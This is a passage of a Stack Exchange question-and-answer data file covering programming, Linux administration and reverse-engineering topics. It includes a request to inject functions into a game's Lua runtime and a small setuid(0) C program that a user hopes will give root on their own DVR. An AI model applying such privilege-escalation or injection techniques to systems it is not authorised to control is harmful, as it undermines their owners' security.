instance-specific.Simplify the display using magic methods and str.format:class Monster(Character):    ...    def __str__(self):        template = The {0} has {1.hp} HP, {1.attack} attack, ... # etc.        return template.format(self.name.capitalize(), self)class Game(object):    ...    def look_monster(self, monster):        print str(monster)Use looping rather than recursion for input validation (see e.g. this SO community wiki):def name_self(self):    while True:        self.name = raw_input(What do you call yourself, anyway? )        if self.name != :            breakConsider structuring your functions differently, such that they call each other, to cut down multiple lines of calls at the top level. For example: Game.__init__ could call populate and look; Hero.__init__ could call name_self and look_self(); and you could add Game.play_round to call handle_input(), game.update() and game.output().Put the top-level code in an if __name__ == '__main__': block (see e.g. this SO question)."  } 
{  "id": "_softwareengineering.162524"  , "question": "I have been having problems wrapping my brain around how to properly utilize the modular extension for Codeigniter. From what I understand, modules should be entirely independent of one another so I can work on one module and not have to worry about what module my teammate is working on. I am building a frontend and a backend to my site, and am having confusion about how I should structure my applications. The first part of my question is should I use the app root controllers to run modules, or should users go directly to the modules by urls? IE: in my welcome.phppublic function index(){  $this->data['blog'] = Modules::run( 'blog' );  $this->data['main'] = Modules::run( 'random_image' );  $this->load->view('v_template', $this->data);}public function calendar(){  $this->data['blog'] = Modules::run( 'blog' );  $this->data['main'] = Modules::run( 'calendar' );  $this->load->view('v_template', $this->data);}My second part of the question is should I create separate front/back end module folders-config-controllers  welcome.php  -admin    admin.php-core-helpers-hooks-language-libraries-models-modules-back  -dashboard  -logged_in  -login  -register  -upload_images  -delete_images-modules-front  -blog  -calendar  -random_image  -search-views  v_template.php  -admin    av_template.phpAny help would be greatly appreciated."  , "title": "How to Properly Make use of Codeigniter's HMVC"  , "tags": "php;modules;codeigniter"  } 
{  "id": "_reverseengineering.11135"  , "question": "Are there any tools, tutorials, or resources out there for helping to make sense of NaCL binaries? They have some features that should make things easier most crucially, fully decidable disassembly and code/data disambiguation. But looking at them in a disassembler, it's hard to make sense of what's going on because most of the interesting stuff is done by calls into the NaCL runtime, and I can't seem to find good documentation on what functions are available there or how to resolve the calls in a disassembly.There's a lot of code like (sample from hotword-x86-64.nexe):   21d70:       81 c4 b8 00 00 00       add    esp,0xb8   21d76:       4c 01 fc                add    rsp,r15   21d79:       41 5b                   pop    r11   21d7b:       0f 1f 44 00 00          nop    DWORD PTR [rax+rax*1+0x0]   21d80:       41 83 e3 e0             and    r11d,0xffffffe0   21d84:       4d 01 fb                add    r11,r15   21d87:       41 ff e3                jmp    r11And this makes it pretty hard to follow control flow.These binaries are of some interest because they're in some ways Google's answer to ActiveX, and they've been used to ship controversial features like OK Google (aka hotwords).One resource I have found is a technical description of the SFI mechanism:NaCl SFI model on x86-64 systemsWhich gives some helpful hints on (e.g.) what R15 does, it's mostly about the what restrictions NaCL assembly code has to comply with, rather than how things work."  , "title": "Tools and techniques for analyzing NaCL binaries?"  , "tags": "untagged"  } 
{  "id": "_unix.137208"  , "question": "First of all, I'm using Debian testing system with standalone Openbox. I don't have systemd, just sysvinit, and I certainly won't use systemd .Yesterday my Debian box started returning messages like the ones below:Jun 14 18:08:10 morfikownia login[4722]: pam_unix(login:session): session opened for user morfik by LOGIN(uid=0)Jun 14 18:08:10 morfikownia dbus[4391]: [system] Activating service name='org.freedesktop.ConsoleKit' (using servicehelper)Jun 14 18:08:10 morfikownia dbus[4391]: [system] Activated service 'org.freedesktop.ConsoleKit' failed: Failed to execute program org.freedesktop.ConsoleKit: Success...Jun 14 18:08:19 morfikownia pulseaudio[4855]: [pulseaudio] sink.c: Default and alternate sample rates are the same.Jun 14 18:08:19 morfikownia pulseaudio[4855]: [pulseaudio] source.c: Default and alternate sample rates are the same.Jun 14 18:08:20 morfikownia dbus[4391]: [system] Activating service name='org.freedesktop.ConsoleKit' (using servicehelper)Jun 14 18:08:20 morfikownia dbus[4391]: [system] Activated service 'org.freedesktop.ConsoleKit' failed: Failed to execute program org.freedesktop.ConsoleKit: SuccessJun 14 18:08:20 morfikownia pulseaudio[4855]: [pulseaudio] module-console-kit.c: GetSessionsForUnixUser() call failed: org.freedesktop.DBus.Error.Spawn.ExecFailed: Failed to execute program org.freedesktop.ConsoleKit: SuccessJun 14 18:08:20 morfikownia pulseaudio[4855]: [pulseaudio] module.c: Failed to load module module-console-kit (argument: ): initialization failed.Jun 14 18:08:20 morfikownia pulseaudio[4855]: [pulseaudio] main.c: Module load failed.Jun 14 18:08:20 morfikownia pulseaudio[4855]: [pulseaudio] main.c: Failed to initialize daemon.Moreover, each su command generates the following log:Jun 14 18:08:50 morfikownia su[6043]: Successful su for root by morfikJun 14 18:08:50 morfikownia su[6043]: + /dev/pts/2 morfik:rootJun 14 18:08:50 morfikownia su[6043]: pam_unix(su:session): session opened for user root by (uid=1000)Jun 14 18:08:50 morfikownia dbus[4391]: [system] Activating service name='org.freedesktop.ConsoleKit' (using servicehelper)Jun 14 18:08:50 morfikownia dbus[4391]: [system] Activated service 'org.freedesktop.ConsoleKit' failed: Failed to execute program org.freedesktop.ConsoleKit: SuccessI managed to fix these issues.In the case of PulseAudio, I just commented out these lines from the /etc/pulse/default.pa file:### If autoexit on idle is enabled we want to make sure we only quit### when no local session needs us anymore.#.ifexists module-console-kit.so#load-module module-console-kit#.endif#.ifexists module-systemd-login.so#load-module module-systemd-login#.endifIn the case of everything else, I had to run pam-auth-update and unchecked ConsoleKit Session Management: PAM profiles to enable    [ ] encfs encrypted home directories                      [*] Unix authentication                                   [ ] Mount volumes for user                                [*] GNOME Keyring Daemon - Login keyring management       [ ] ConsoleKit Session Management                         [ ] Inheritable Capabilities ManagementAnd a small change was needed to the ~/.xinitrc file:#exec ck-launch-session dbus-launch --sh-syntax --exit-with-session openbox-sessionexec openbox-sessionbecause when I was trying to check a session list, I got the following error:$ ck-list-sessions** (ck-list-sessions:15584): WARNING **: Failed to get list of seats: Failed to execute program org.freedesktop.ConsoleKit: SuccessThere's no errors now, but I have no idea what changes these steps can cause. I know the consolekit is dead one way or another, so this ultimately would happen anyway. Meanwhile, I'm reading this question in order to understand what will happen after this change, but I don't get many things.It allows switching users without logging out [many user can be logged  in on the same hardware at the same time with one user active].I can do su user, and it changes without a problem:Jun 15 10:36:57 morfikownia su[103349]: Successful su for morfik2 by morfikJun 15 10:36:57 morfikownia su[103349]: + /dev/pts/5 morfik:morfik2Jun 15 10:36:57 morfikownia su[103349]: pam_unix(su:session): session opened for user morfik2 by (uid=1000)I can also log many users in via ssh. So where's the advantage of using consolekit? Could you tell me if deleting it can cause any security problems, and how can I see the change? Because it looks like nothing has changed."  , "title": "What is the difference between a system with consolekit and the one without it?"  , "tags": "debian;login;openbox;consolekit"  , "accepted_answer": "It allows switching users without logging out [many user can be logged in on the same hardware at the same time with one user active].I believe consolekit provided a mechanism for applications to determine which user is active, i.e. sitting in front of the computer.  This differs from the su user switch in this way:Your computer has one seat assigned a mouse, keyboard, display, microphone, camera, and audio.You sit down at your computer and log in via one virtual console(VC)/graphical login manager (GLM).You lock your session, then walk away.Someone else sits down and logs in via a second VC/GLM.Now two users are logged in (two sessions), but only the second is active.Whose processes have access to the hardware now?  You certainly don't want the second user starting a recording program that retains access to the microphone/camera/keyboard when you switch back to your session.While I'm unclear whether consolekit strips hardware access away from processes, at the very least it allows a process to be a good citizen and release hardware when the session changes.Remote logins and sussh and su - user are not affected by consolekit.  Consolekit is intended to manage sessions for seats.  A seat is a collection of physical devices (mouse, keyboard, display, etc) assigned to said seat.  A session is created when a user logs in at said seat.  A seat may have many sessions, and consolekit tracks those sessions, and notifies processes (that listen) via DBUS when the session changes.Multi-user shutdown restrictionsConsolekit can also be used in concert with policykit to prevent users from shutting down the system when multiple sessions are open (more than one user logged in).Why use consolkit?For a single-user system, consolekit doesn't have any use.  If you have a family sharing a single computer, then it enables everyone to login and switch users without logging out and without interfering with hardware access.  IIRC, each user has their own xserver instance as well.AlternativesI know of no alternatives to consolekit or systemd.  If you need this functionality, you might consider forking consolekit."  } 
{  "id": "_unix.344532"  , "question": "Im new to managing Xen servers and currently have a container thats experiencing issues with network connection.  The VM (from what I can tell) is starting up normally but doesnt seem to have any network connectivity.  Ive attempted to access the VM by using xm console vmName and get a login prompt.  Ive tried a few logins that were provided to me but so far none work.  Is there any way to reset the login to get into the VM?  Or is there an alternate method of getting into it (from the server) in a similar manner to how Virtuozzo uses vzctl enter CTID?  Any help is greatly appreciated."  , "title": "Xen VM Login Access Reset or Alternate Method"  , "tags": "xen"  } 
{  "id": "_codereview.126181"  , "question": "I've created a class that allows me to load resources, execute a callback after each individual request has been made and finally, a final callback that can assume all said resources are available.This is something I came up with when developing something in ExtJS, so there were no formal promises (done, success, then, always, etc.) like you have in jQuery.Here's the class:function ResourceLoader(finalCallback) {    this.requests = [];    this.finalCallback = finalCallback;    //pops an additional request on the queue...    this.addRequest = function (request) {        this.requests.push(request);    }    //execute them all...    this.executeRequests = function () {        for (var i = 0; i <= this.requests.length - 1; i++) {            //if 'errorCallback' member was specified, we will execute it, otherwise, create a empty function.            var ec = (this.requests[i].errorCallback) ? this.requests[i].errorCallback : function () { };            //if we are executing not the last request...            if (i < this.requests.length - 1) {                $.ajax(this.requests[i])                .done(this.requests[i].callback)                .error(ec);            }            else {                //when executing the last queued request, execute the final callback.                $.when($.ajax(this.requests[i])                .done(this.requests[i].callback)                .error(ec)).then(this.finalCallback);            }        }    }}This works as intended.var loader = new ResourceLoader(function () {    //the final callback hides the spinner...    $body = $(body);    $body.removeClass(loading);});loader.addRequest({    method: 'get',    url: '/HtmlParts/ChatRoom/MessageSelf.html',    callback: function (data) {        $messageMe = data;    }});loader.addRequest({    method: 'get',    url: '/HtmlParts/ChatRoom/MessageOthers.html',    callback: function (data) {        $messageOthers = data;    }});loader.executeRequests();Here I'm using it to load static HTML content from separate physical file that I can use as I wish to dynamically add instances of them on the fly later on.Is there a better way to do this in jQuery ?Thanks."  , "title": "Loading multiple remote resources"  , "tags": "javascript;jquery"  } 
{  "id": "_cstheory.36815"  , "question": "I have a tournament (directed complete graph) with $V$ vertices. For every vertex I want to find the longest path starting in it (so the longest path starting in the first vertex, longest path starting in the second vertex etc.). In general, longest path problem is NP-complete, but this is a very special case so I guess there exist a polynomial (in terms of $V$) time algorithm."  , "title": "Longest path from every vertex in a tournament"  , "tags": "graph theory;graph algorithms"  , "accepted_answer": "This is really just an elaboration of Sasho Nikolov's comment, but the subsequent comment makes clear that it needs elaboration and this doesn't fit within a comment itself.If you topologically order the strongly connected components of your tournament, then the longest path from any vertex $v$ contains all vertices of the component containing $v$ and all vertices of later components.To see this, we need the known facts thatEach strongly connected component contains a Hamiltonian cycle.Condensing the strongly connected components to a single vertex per component produces a directed acyclic graph, which must itself be a tournament.Any acyclic tournament is totally ordered by the orientations of its edges, so the topological ordering of components is uniquely defined.So, start from $v$, and follow the Hamiltonian cycle within its own component. Then, when the cycle would return to $v$, instead follow any edge to the next component in the total ordering of the components (there's an edge to that component because there's an edge to every vertex and because the edges connecting the current component to the next component are all oriented in the direction you want to go). Then continue the same way in each successive component."  } 
{  "id": "_unix.310208"  , "question": "I'm using the following script to backup, using Borg Backup. But I'm running into an odd problemPart of the script below does not execute. The script follows, then the outputSCRIPT:#!/bin/bash                                                                                                                                                  set -exset -o pipefailexport SERVER=myserverCLEVEL=zlib,9. /home/faheem/.keychain/${HOSTNAME}-sh#borg init -e none faheem@$SERVER:/mnt/backup-test                                                                                                         borg create -c 30 --compression $CLEVEL --stats faheem@ramnode:/mnt/backup-test::`hostname`-`date +%Y-%m-%d:%H.%M`  /home/faheem/test-borg                   { borg check faheem@$SERVER:/mnt/backup-test 2>&1 1>&3 | tr '\\r' '\\n' | grep -Ev ^Remote:\\s*(Checking segments.*)?$ 1>&2; } 3>&1mapfile -t testarchives < <(borg list --short faheem@$SERVER:/mnt/backup-test)borg extract -n faheem@$SERVER:/mnt/backup-test::${testarchives[-1]}OUTPUT:+ set -o pipefail+ export SERVER=ramnode+ SERVER=ramnode+ CLEVEL=zlib,9+ . /home/faheem/.keychain/orwell-sh++ SSH_AUTH_SOCK=/tmp/ssh-F7Uzg6CeQoTY/agent.5660++ export SSH_AUTH_SOCK++ SSH_AGENT_PID=5661++ export SSH_AGENT_PID++ hostname++ date +%Y-%m-%d:%H.%M+ borg create -c 30 --compression zlib,9 --stats faheem@ramnode:/mnt/backup-test::orwell-2016-09-16:05.04 /home/faheem/test-borg+ borg check faheem@ramnode:/mnt/backup-test+ tr '\\r' '\\n'+ grep -Ev '^Remote:\\s*(Checking segments.*)?$'So the last two lines don't execute. But if I comment out the earlier lines, those two lines execute. Does anyone know what is going wrong?UPDATE: If I take out grep (i.e. replace){ borg check faheem@$SERVER:/mnt/backup-test 2>&1 1>&3 | tr '\\r' '\\n' | grep -Ev ^Remote:\\s*(Checking segments.*)?$ 1>&2; } 3>&1with{ borg check faheem@$SERVER:/mnt/backup-test 2>&1 1>&3 | tr '\\r' '\\n' 1>&2; } 3>&1I get+ set -o pipefail+ export SERVER=ramnode+ SERVER=ramnode+ CLEVEL=zlib,9+ . /home/faheem/.keychain/orwell-sh++ SSH_AUTH_SOCK=/tmp/ssh-F7Uzg6CeQoTY/agent.5660++ export SSH_AUTH_SOCK++ SSH_AGENT_PID=5661++ export SSH_AGENT_PID++ hostname++ date +%Y-%m-%d:%H.%M+ borg create -c 30 --compression zlib,9 --stats faheem@ramnode:/mnt/backup-test::orwell-2016-09-17:03.18 /home/faheem/test-borg+ borg check faheem@ramnode:/mnt/backup-test+ tr '\\r' '\\n'Remote: Checking segments 0.0%Remote:                         + mapfile -t testarchives++ borg list --short faheem@ramnode:/mnt/backup-test+ borg extract -n faheem@ramnode:/mnt/backup-test::orwell-2016-09-17:03.18Does the Remote: line correspond to grep failing to match the pattern and returning non-zero?Here are a couple of relevant questions:Can grep return true/false or are there alternative methodsandAvoid grep returning error when input doesn't matchThe latter question appears to be a similar situation, if not the same."  , "title": "Shell script exits early for unclear reasons"  , "tags": "shell script;exit;borgbackup"  } 
{  "id": "_webapps.6031"  , "question": "I don't have my contacts stored in my Google account, but I'd like them to be in my gmail account.  I figured if I set up Google Sync (basically GMail as an Exchange server) that my contacts would find their way up to GMail.  Unfortunately the push only seems from GMail to iPhone.What do I have to do to push my contacts up to GMail? Is there some other utility that will do this?"  , "title": "Google Contact Synchronization on the iPhone 3G"  , "tags": "gmail;iphone;gmail contacts"  , "accepted_answer": "It sounds like your problem is that you had pre-existing contacts on the iPhone which you want to import into Gmail....I don't believe there is a way to do this. You will have to use one of the import methods to get the contacts on Gmail initially.Once that is set up, you will be able to create or edit contacts on your iPhone and they will be synced to Gmail."  } 
{  "id": "_unix.230807"  , "question": "So I'm working on a script that will accept arguments that are text files, and should output the total number of lines in those files.For example, if I say./myScript file1 file2 file3it will print10 total(let us assume that the sum of all the lines from those three files is 10).I know how to go over all the arguments.I also know that, to get the number of lines in a file, I would say:wc -l < fileNameHowever, how can I make that into an int that I can add to some sort of cumulative sum?"  , "title": "Script that outputs the total number of lines in all the text files that are passed as arguments"  , "tags": "linux;shell script;scripting"  } 
{  "id": "_unix.144494"  , "question": "I have this Epson L355 printer and according to www.openprinting.org I need to use the epson-201207w driver; however,  on the CUPS config panel at http://localhost:631, the list of drivers only displays names like Epson E 300, Epson EM 900C, etc, but not Epson L355 nor even Epson L300 is present on the list. I tried to investigate the human-readable form name of the said epson-201207w driver but I can't find anything. Is there a way to know, or at least guess it?"  , "title": "Know the name of a driver to use on the CUPS gui"  , "tags": "cups;lpd"  } 
{  "id": "_unix.239295"  , "question": "People say you shouldn't use spaces in Unix file naming. Are there good reasons to not use capital letters in file names (i.e., File_Name.txt vs. file_name.txt)? Or is this just a matter of personal preference?"  , "title": "Is it considered a best practice to not use capital letters in file naming?"  , "tags": "filenames"  , "accepted_answer": "People say you shouldn't spaces in Unix file naming.People say a lot of things.  There are some tools that may screw up, but hopefully they are few in number at this point in time, since spaces are a virus proliferated by giant consumer proprietary OS corporations and now impossible to avoid.Spaces make specifying filenames on the command line, etc., awkward.  That's about it.  The only categorically prohibited characters on *nix systems are NUL (don't worry, it's not on your keyboard, or anyone else's) and /, since that is the path separator.1  Other than that anything goes.  Individual path elements (file names) are limited to 255 bytes (a possible complication if you are using extended character sets) and complete paths to 4 KiB.Or is this just a matter of personal preferenceI would say it is.  Most DE's seem to create a slew of capitalized directories in your $HOME (Downloads, Desktop, Documents -- the D is very popular), so there's nothing bizarre about it.  There are also very commonplace traditional files with capitals in them, such as .Xclients and .Xauthority.A value of capitalizing things at the beginning is that when listed lexicographically they'll come before lower case things -- at least, with many tools, and subject to locale.I'm a fan of camel case (aka. camelCase) and use it with filenames, e.g., /home/goldilocks/blueSuedeShoes -- never mind what's in there.  Definitely a matter of personal preference but it has yet to cause me grief.Java class files tend to contain capitals by nature, because Java class names do.  And of course, let's not forget NetworkManager, even if some of us would prefer to.1. There is a much more delimited, recommended by POSIX Portable Filename Character Set that doesn't include the space -- but it does include upper case!  POSIX also specifies the more general restriction regarding the slash character and the null byte elsewhere in the same document.  This reflects, or is reflected in, long standing conventional practices."  } 
{  "id": "_datascience.19540"  , "question": "I was wondering if it's possible to train any of the ImageNet classifiers on arbitrarily shaped data. In my case each image that I'd like to classify is a collection of NxMxK arrays. Here K would be the number of channels which in my case is greater than 3. I took a look at some of the Inception model source code and it looks like one could - by hand - change the shape and size of the weights. Ideally I'd like to be able to just pass in my data and have it figure out the shape and apply the convolutions accordingly.  "  , "title": "Training ImageNet classifiers with keras on multi-channel images"  , "tags": "tensorflow;keras;image classification"  } 
{  "id": "_webmaster.11155"  , "question": "We have our website as site.com, and the mobile version at m.site.comWhen the user arrives, we detect the mobile from the user agent and redirects to the corresponding page there; for exemple from site.com/some/stuffto m.site.com/some/stuffMy problem here is that not every article we have is published on the mobile version and I'm not sure how I should be handling cases where there is no correspondance (/some/stuff doesn't exists on the mobile version).Should I be:Redirect to the url on mobile version, which then 404 (lots of 404 ? doesn't seem right)Redirect to the url on mobile version, which then 301 to mobile home (no 404 pages on the mobile version ? doesn't seem right)Redirect the url that doesn't exist on mobile to the mobile home, and keep the correspondance for those that exists (lots of page redirected to mobile home for google mobile ...)Not redirect if there is no correspondance (mobile gets sent the full website ? ...)None of those solutions seems good to me, so how do you guys handle it ? What should I be doing to avoid crippling the seo ranking of our website ?Thanks"  , "title": "SEO: how to handle the redirect page to mobile website when there is no equivalent"  , "tags": "seo;redirects;mobile"  } 
{  "id": "_reverseengineering.14091"  , "question": "I am trying to hack a game (not for cheating though) by introducing new built-in methods and functions in order to communicate with the game using sockets. Here is a small pseudo code example of what I want to accomplish:Inside the Lua code I am calling my_hack() and pass the current game state:GameState = {}-- Game state object to be passed onfunction GameState:new()  -- Dataendlocal gameState = GameState:new()-- Collect game state data and pass it to 'my_hack' ..my_hack(gameState)and inside my_hack the object is getting sent away:int my_hack(lua_State * l){   void* gameState= lua_topointer(l, 1);   // Send the game state:   socket->send_data(gameState);   return 0;}Now, the big question is how to introduce my_hack() to the game?I assume, that all built in functions must be kept in some sort of lookup table. Since all Lua code is getting interpreted, functions like import etc. will have to be statically available, right? If that is correct, then it should be enough to find out where this code is residing in order to smuggle my code into the game that would allow me to call my_hack() in a Lua script.There should be two options: The first is that the Lua built is embedded inside the executable and is completely static and the second is that all Lua code gets loaded dynamically from a DLL. This question goes out to anybody who has a slightest clue about where and how I should keep looking for the built in functions. I've tried a few things with Cheat Engine but I wasn't too successful. I was able to cheat a bit ^^ but that's not what I'm looking out for.This is what my current progress looks like:I found some hints I'm trying to go after in the data section of the executable. For example IDA is giving me.rdata:00D44210                 dd offset aLoadfile     ; loadfile.rdata:00D44214                 dd offset sub_90ECE0.rdata:00D44218                 dd offset aDofile       ; dofile.rdata:00D4421C                 dd offset sub_90ED20.rdata:00D44220                 dd offset aLoadstring   ; loadstring.rdata:00D44224                 dd offset sub_90EC80Now, I know that these strings here (loadfile, dofile, etc.) are actually the names of built-in functions that modders can use in Lua - a script language in order to change stuff in the game.I am trying to find out at which point this address is being accessed for reading. For that I am using Cheat Engine and at this point I would like to stress that I am not trying to cheat here but to introduce new built-in functions in order to have more flexibility when it comes to modding. However, the addresses which I see in IDA do not seem to be the actual virtual addresses. If I look at this address with Cheat Engine, which is just reading out the memory, I'm getting nothing. So the question is if I will be able to find the correct virtual address of e.g. dofile in order to read that out from my RAM.What I hope to see in the end is from where these methods are getting accessed and in a much later step maybe find out where the actual code of dofile resides. At the end I want to smuggle my code into the right place and introduce a new function my_hack in order to get control of the program."  , "title": "Hacking Lua - Introduce new functions into built Lua"  , "tags": "ida;dll injection;injection"  } 
{  "id": "_unix.33600"  , "question": "I'm curious as to how other Linux admins manage /etc/ld.so.conf and in general, shared libraries across multiple Linux servers.  We have about 30-40 Linux servers running SLES 11.  Since they are tied to Active Directory, users can log into any server with their same credentials.  Originally, each server had its own local ld.so.conf.  However, we ran into issues where a specific piece of software, php for example, would run on server X but crash on server Y because a sys admin rearranged ld.so.conf on server Y.  We strive for consistency across servers so users can easily use any number of servers for load balancing.  There are certain servers that have specific purposes of course though.We thought symlinking to a shared ld.so.conf with a script that goes out and runs ldconfig on all servers whenever a change is made. I thought it would bring consistency across all servers, but I see how some servers would need a custom ld.so.conf because it runs different software that may need a different lib version.I've only been a Linux admin for under three years, so this may be a simple answer for some, so just looking for advice on this topic.  Questions that came to mind:local or symlinked /etc/ld.so.conf?clean out old versions of shared libs if multiple versions exist in different lib directories?  "  , "title": "Proper management of ld.so.conf and shared libraries"  , "tags": "libraries;suse;sles"  , "accepted_answer": "Normally user or rather app related configurations should be in the:/etc/ld.so.conf.dand included from /etc/ld.so.conf.  Which can be identical across all servers and should not be touchedThis way your management becomes easier by simply making the directory /etc/ld.so.conf.d/ consistent across all of your servers.You can probably come up with a simple rsync script that will do this for you."  } 
{  "id": "_reverseengineering.5867"  , "question": "I am close to having root on my DVR device running busybox. I figured out one of the user login/passwords and am able to telnet in, but that's it. I have a drive that is attached which automatically mounts, which I can plug into my PC to add/subtract files.  I made a copy of the bash and busybox binaries (including a few others), and gave them u+s, hoping setuid root would give me some root privileges.  Unfortunately that did not work.  Running bash (-rwsr-xr-x), id still shows up as just user.  For some reason it doesn't seem to honor the setuid bit for bash or busybox (or a few others) to give me root privs.So, I had an idea, which brings me to my question: maybe I could compile a small C program, such as:#include <stdio.h>#include <stdlib.h>#include <sys/types.h>#include <unistd.h>int main(){   setuid( 0 );   system( /tmp/rootscript.sh );   return 0;}Which, maybe, would allow me to run a script as root.  Unfortunately, after a few days of trying to compile various versions of gcc-mips on various systems, I've not been able to do so.  Which leads me to ask if someone who already has the tools built would mind compiling the above code for me. I realize it's an odd request, but I guess it's come to this.Some potentially helpful info:bash-3.00$ cat cpuinfo system type             : Viperprocessor               : 0cpu model               : MIPS 74Kc V4.12  FPU V0.0BogoMIPS                : 324.40wait instruction        : yesmicrosecond timers      : yestlb_entries             : 32extra interrupt vector  : yeshardware watchpoint     : yes, count: 4, address/irw mask: [0x0000, 0x0000, 0x0000, 0x0000]ASEs implemented        : mips16 dspshadow register sets    : 2core                    : 0VCED exceptions         : not availableVCEI exceptions         : not availableandfile /tmp/bash /tmp/bash: setuid ELF 32-bit LSB  executable, MIPS, MIPS32 rel2 version 1, dynamically linked (uses shared libs), for GNU/Linux 2.6.12, not strippedAny thoughts or advice from anyone?  Hopefully this counts enough as a reverse engineering post!"  , "title": "Can someone compile a program for me with gcc-mips?"  , "tags": "compilers;mips"  } 
{  "id": "_cs.11739"  , "question": "I want to reduce $MAX3SAT$ to $MAX2SAT$ ...MAX-n-SAT : given $\\phi $ n-CNF formula and number k does $\\phi$ has an assignment that satisfy k clauses? "  , "title": "reducing Max3SAT to Max2sat"  , "tags": "algorithms;np complete;reductions;approximation"  , "accepted_answer": "Garey, Johnson and Stockmeyer (Some simplified NP-complete graph problems) came up (already in 1974!) with a gadget reduction from MAX3SAT to MAX2SAT. Given a 3SAT clause $C = x \\lor y \\lor z$, they come up with a gadget $G(C)$ consisting of 2SAT clauses on the variables $x,y,z$ as well as some additional variables $V(C)$, satisfying the following property. Given an assignment to $x,y,z$, the maximal number of clauses in $G(C)$ which can be satisfied by an assignment to $V(C)$ is $M_1$ if $C$ is satisfied and $M_2<M_1$ if $C$ is not satisfied.Try to understand how the existence of this gadget allows us to reduce MAX3SAT to MAX2SAT. Then either try to construct such a gadget, or look it up."  } 
{  "id": "_codereview.89964"  , "question": "I've been building an MMO in Java for a game that will have clients built with libGDX.  I have already built clients for the browser, desktop, iOS, and Android.  To accommodate multiple platforms, websockets are used, and all messages sent back and forth are in the form of strings.The purpose of the scheduled refreshAllClients() method is to try to update all clients at a 100ms delay.  I have heard that this is a good approach for an MMO, but I am not totally sure about this.I have removed some of the code (mostly password handling and the saving and loading of game and player data) so that it is more concise.I would like to hear about the readability and overall organization of the code.  This is the largest project that I have written in Java so far, and I believe I am still not following all the best practices or taking advantage of all the language features. If you see any architectural failings, those would be great to hear about too.If you would like to see any other methods, please let me know.  The main function of the BZLogger class is to log to a file while optionally allowing to log to the console.  The websocketServer class has listeners for things like onMessage or onOpen, but everything is forwarded to the Server. I'm using the java_websocket library.public class Server {    private final ServerSockets websocketServer;    private final int maxIpConnectionsThreshold = 10;    private ArrayList<Client> clients = new ArrayList<Client>();    private HashMap<String, Integer> recentIpAddresses = new HashMap<String, Integer>();    private MainGame game;    public boolean isLoadingOrSaving = false;    private BZLogger messagesRecievedLogger = new BZLogger(messagesReceived, messagesReceived.log, false);    private BZLogger messagesSentLogger = new BZLogger(messagesSent, messagesSent.log, false);    private BZLogger systemMessagesLogger = new BZLogger(systemMessages, systemMessages.log, true);    /**     * When the backupCount reaches X, the player and world data will be copied to a different folder     */    private int backupCount = 19; //start at 19 so that it will backup early    public Server() {        this.systemMessagesLogger.log(Server started);        this.websocketServer = new ServerSockets(this, 9999);        this.websocketServer.start();        this.game = new MainGame();        this.game.setServer(this);        this.systemMessagesLogger.log(Game started);        try {            this.loadWorld();        } catch (IOException e) {            // TODO Auto-generated catch block            e.printStackTrace();        }        this.scheduleIpRefresh();        this.scheduleGameUpdate();        this.scheduleClientRefresh();        this.scheduleWorldSave();    }    private void scheduleIpRefresh() {        Runnable updateIpList = new Runnable() {            public void run() {                Server.this.ipRefresh();            }        };        int initialDelayToStart = 0;        int timeBetweenUpdates = 3;        ScheduledExecutorService executor = Executors.newScheduledThreadPool(1);        executor.scheduleAtFixedRate(updateIpList, initialDelayToStart, timeBetweenUpdates, TimeUnit.MINUTES);    }    private void scheduleGameUpdate() {        Runnable updateGame = new Runnable() {            public void run() {                Server.this.game.updateWorld();            }        };        int initialDelayToStart = 0;        int timeBetweenUpdates = 15;        ScheduledExecutorService executor = Executors.newScheduledThreadPool(1);        executor.scheduleAtFixedRate(updateGame, initialDelayToStart, timeBetweenUpdates, TimeUnit.MINUTES);    }    private void scheduleClientRefresh() {        Runnable clientRefresh = new Runnable() {            public void run() {                Server.this.refreshAllClients();            }        };        int initialDelayToStart = 1000;        int timeBetweenUpdates = 100;        ScheduledExecutorService executor = Executors.newScheduledThreadPool(1);        executor.scheduleAtFixedRate(clientRefresh, initialDelayToStart, timeBetweenUpdates, TimeUnit.MILLISECONDS);    }    private void scheduleWorldSave() {        Runnable worldSave = new Runnable() {            public void run() {                try {                    Server.this.saveWorld();                } catch (IOException e) {                    // TODO Auto-generated catch block                    e.printStackTrace();                }            }        };        int initialDelayToStart = 20;        int timeBetweenUpdates = 600;        ScheduledExecutorService executor = Executors.newScheduledThreadPool(1);        executor.scheduleAtFixedRate(worldSave, initialDelayToStart, timeBetweenUpdates, TimeUnit.SECONDS);    }    /**     * Used by the game to send messages to players     */    public ArrayList<Client> getClients() {        return this.clients;    }    /**     * For every connected client, gets the messages from their array     * Combines all the messages together into one big message     * Sends it to that client     */    private void refreshAllClients() {        if (this.isLoadingOrSaving) {            return;        }        for (Client client : this.clients) {            StringBuilder bigMessageBuilder = new StringBuilder();            for (Message message : client.getAllMessages()) {                bigMessageBuilder.append(message.getMessageString()).append(Message.delimiter);            }            if (!bigMessageBuilder.toString().equals()) {                client.connection.send(bigMessageBuilder.toString());                this.messagesSentLogger.log((sending client  + client.getPlayer().getName() + :  + bigMessageBuilder.toString()));            }        }    }    /**     * This method will call the ip frequency check     * The connection will be closed if it has tried to connect too frequently     */    public void clientConnected(WebSocket conn, ClientHandshake handshake) {        this.systemMessagesLogger.log(Client opened connection  + conn.getRemoteSocketAddress());        this.processIpAddress(conn.getRemoteSocketAddress());        this.systemMessagesLogger.log(total ips connected =  + String.valueOf(this.recentIpAddresses.size()));        if (!this.hasIpConnectedTooFrequently(conn.getRemoteSocketAddress())) {                    this.clients.add(new Client(conn, handshake));            this.sendWelcome(conn);        } else {            conn.close(0);            this.clientDisconnected(conn);        }    }    private void sendWelcome(WebSocket conn) {        WelcomeMessage welcome = new WelcomeMessage();        conn.send(welcome.getMessageString());        this.messagesSentLogger.log(sent conn welcome  + conn.getRemoteSocketAddress()) ;    }    /**     * Saves the player data if it is not null     */    public void clientDisconnected(WebSocket conn) {        this.systemMessagesLogger.log(Client closed connection  + conn.getRemoteSocketAddress());        Client clientToRemove = null;        for (Client client : this.clients) {            if (conn.equals(client.connection)) {                clientToRemove = client;            }        }        if (clientToRemove != null) {            if (clientToRemove.getUserName() != null && clientToRemove.getPlayer() != null) {                try {                    this.savePlayer(clientToRemove);                } catch (IOException e) {                    e.printStackTrace();                }            }            this.clients.remove(clientToRemove);        }    }    /**     * Place where all messages are parsed and handled or passed to the game     * Only messages from currently connected clients will be handled     * For most messages, the client must be attached so that messages will be properly handled     */    public void processMessage(WebSocket conn, String message) {        for (Client client : this.clients) {            if (conn.equals(client.connection)) {                this.messagesRecievedLogger.log(conn  + conn.getRemoteSocketAddress() +  sent: + message);                String delimiter = Message.delimiter;                